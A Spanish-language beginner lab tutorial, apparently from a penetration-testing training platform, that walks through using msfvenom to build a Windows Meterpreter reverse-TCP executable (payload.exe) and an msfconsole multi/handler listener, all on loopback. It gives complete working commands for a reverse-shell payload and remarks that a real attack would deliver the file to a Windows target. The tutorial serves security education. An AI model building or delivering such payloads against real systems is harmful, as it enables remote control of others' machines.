Generar un Payload Independiente con msfvenom

Kali LinuxBeginner
Practicar Ahora

Introducción

En este laboratorio, obtendrá experiencia práctica con msfvenom, una instancia de línea de comandos del Metasploit Framework que se utiliza para generar payloads. Es una combinación de dos herramientas más antiguas, msfpayload y msfencode, que proporciona una herramienta única y potente para crear shellcode para una amplia gama de objetivos y en varios formatos.

El objetivo principal de este laboratorio es guiarlo a través del proceso de generación de un payload ejecutable independiente para Windows. Aprenderá a seleccionar un payload, configurar sus opciones como el host y el puerto de escucha, y finalmente, configurar un listener en msfconsole para capturar la conexión del payload. Todas las operaciones se realizarán dentro del directorio ~/project.

Listar payloads disponibles con msfvenom --list payloads

En este paso, comenzará explorando las capacidades de msfvenom. Lo primero que debe aprender sobre cualquier herramienta es lo que puede hacer. Puede listar todos los payloads disponibles utilizando la opción --list payloads. Esto le proporcionará una lista completa de todo el shellcode que msfvenom puede generar para diferentes sistemas operativos, arquitecturas y aplicaciones.

Ejecute el siguiente comando en su terminal para ver la lista completa de payloads:

msfvenom --list payloads

La salida será muy larga. En un escenario del mundo real, normalmente filtraría esta lista para encontrar un payload específico. Por ejemplo, si está atacando una máquina con Windows, puede usar grep para buscar payloads relevantes. Intentemos encontrar el payload windows/meterpreter/reverse_tcp, que utilizaremos en los siguientes pasos.

msfvenom --list payloads | grep "windows/meterpreter/reverse_tcp"

Debería ver una salida similar a esta, confirmando que el payload existe:

    windows/meterpreter/reverse_tcp                  Windows Meterpreter (Reflective Injection), Reverse TCP Stager

Esto confirma que msfvenom puede generar este payload específico.

Generar un ejecutable de Windows con msfvenom -p windows/meterpreter/reverse_tcp

En este paso, seleccionará un payload específico para generar. Basándonos en nuestra búsqueda en el paso anterior, utilizaremos windows/meterpreter/reverse_tcp. Este es un payload muy común y potente. Crea una conexión "inversa" desde la máquina objetivo de vuelta a usted, y "Meterpreter" es una shell avanzada y rica en funciones que permite actividades de post-explotación extensas.

Para seleccionar un payload en msfvenom, se utiliza la opción -p (o --payload). Intentemos construir el comando solo con el payload seleccionado.

Ejecute el siguiente comando en su terminal:

msfvenom -p windows/meterpreter/reverse_tcp

Notará que este comando falla y produce un mensaje de error. Esto es esperado.

[-] No options configured yet, getting options from payload...
[-] > LHOST is a required option
Error: LHOST is a required option

La salida indica claramente que LHOST es una opción requerida. Esto se debe a que un payload TCP inverso necesita saber a qué dirección IP conectarse de vuelta. En el siguiente paso, proporcionaremos esta información requerida.

Establecer LHOST y LPORT para el payload

En este paso, proporcionará las opciones necesarias para que el payload funcione correctamente. Como indicó el mensaje de error del paso anterior, necesitamos establecer LHOST.

  • LHOST: Significa "Listening Host" (Host de escucha). Es la dirección IP de la máquina donde estará escuchando la conexión entrante del payload. Para este laboratorio, ejecutaremos el listener en la misma máquina, por lo que podemos usar la IP de loopback, 127.0.0.1.
  • LPORT: Significa "Listening Port" (Puerto de escucha). Es el puerto en el LHOST al que se enlazará el listener. Puede elegir cualquier puerto no privilegiado que no esté en uso. Una opción común para esto es 4444.

Puede establecer estas opciones directamente en la línea de comandos. Añadamos LHOST y LPORT a nuestro comando anterior:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444

Después de ejecutar este comando, verá un gran bloque de caracteres impreso directamente en su terminal. Este es el shellcode en bruto para el payload.

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No Arch selected, choosing Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 354 bytes
<...raw bytes will be printed here...>

Esto no es muy útil como archivo independiente. En el siguiente paso, aprenderá cómo formatear este shellcode en bruto en un archivo ejecutable utilizable.

Especificar el formato de salida y el nombre del archivo usando -f exe y -o

En este paso, finalizará el payload especificando su formato y guardándolo en un archivo. Imprimir shellcode en bruto en la terminal no es práctico para la entrega. Necesitamos empaquetarlo en un formato que el sistema operativo de destino pueda ejecutar.

msfvenom proporciona dos opciones importantes para esto:

  • -f o --format: Esta opción especifica el formato de salida. Dado que nuestro objetivo es Windows, utilizaremos el formato exe para crear un ejecutable estándar de Windows.
  • -o o --out: Esta opción especifica la ruta y el nombre del archivo de salida.

Combinemos todas las opciones que hemos aprendido en un único comando final. Este comando generará un ejecutable de Windows llamado payload.exe en su directorio actual (~/project).

msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f exe -o payload.exe

Una vez que el comando se complete, verá una salida que confirma la creación del payload:

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No Arch selected, choosing Arch: x86 from the payload
Found 1 compatible encoder
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 381 (iteration=0)
x86/shikata_ga_nai chosen with final size 381
Payload size: 381 bytes
Final size of exe file: 73802 bytes
Saved as: payload.exe

Puede verificar que el archivo se ha creado utilizando el comando ls -l:

ls -l payload.exe

La salida debería mostrar el archivo recién creado:

-rwxr-xr-x 1 labex labex 73802 May 20 10:00 payload.exe

Ahora ha generado con éxito un archivo de payload independiente.

Crear un listener en msfconsole para capturar la conexión

En este paso, configurará un listener para manejar la conexión del payload que acaba de crear. Un payload es inútil a menos que tenga algo de su lado para "capturar" la conexión inversa que realiza. Para esto, utilizaremos msfconsole, la interfaz principal del Metasploit Framework.

Primero, inicie msfconsole. Usar la opción -q hace que se inicie silenciosamente sin mostrar el banner, lo cual es más limpio.

msfconsole -q

Su prompt cambiará a msf6 >. Ahora, necesita configurar un handler para escuchar la conexión entrante. La configuración del handler debe coincidir exactamente con la configuración que utilizó para generar el payload.

  1. Utilice el módulo exploit/multi/handler. Este es un handler genérico para conexiones entrantes.

    use exploit/multi/handler
  2. Establezca el payload para que coincida con el que generó.

    set payload windows/meterpreter/reverse_tcp
  3. Establezca LHOST a la misma dirección IP.

    set LHOST 127.0.0.1
  4. Establezca LPORT al mismo puerto.

    set LPORT 4444
  5. Finalmente, ejecute el listener.

    run

msfconsole mostrará ahora un mensaje indicando que el listener se ha iniciado.

[*] Started reverse TCP handler on 127.0.0.1:4444

En este punto, el listener está activo y esperando. En un ataque real, transferiría payload.exe a un objetivo de Windows y lo ejecutaría. Cuando se ejecute, se conectaría a este listener y usted obtendría una sesión de Meterpreter. Dado que no tenemos una máquina Windows objetivo en este laboratorio, no veremos una conexión. El objetivo aquí es aprender el proceso completo de generación de un payload y la configuración de su listener correspondiente.

Para salir del listener, presione Ctrl + C. Para salir de msfconsole, escriba exit y presione Enter.

exit

Resumen

En este laboratorio, ha aprendido con éxito los fundamentos de la generación de payloads independientes utilizando msfvenom. Ha practicado todo el flujo de trabajo, desde la exploración de payloads disponibles hasta la creación de un archivo ejecutable final y la configuración de un listener para manejar su conexión.

Ahora está familiarizado con las opciones clave de msfvenom, que incluyen:

  • --list payloads para ver los payloads disponibles.
  • -p para seleccionar un payload específico como windows/meterpreter/reverse_tcp.
  • LHOST y LPORT para configurar los detalles de conexión del payload.
  • -f para establecer el formato de salida (por ejemplo, exe).
  • -o para guardar el payload en un archivo.

Además, aprendió a utilizar exploit/multi/handler dentro de msfconsole para crear un listener que coincida con la configuración de su payload. Este conocimiento constituye una base fundamental para muchas tareas de pruebas de penetración e investigación de seguridad.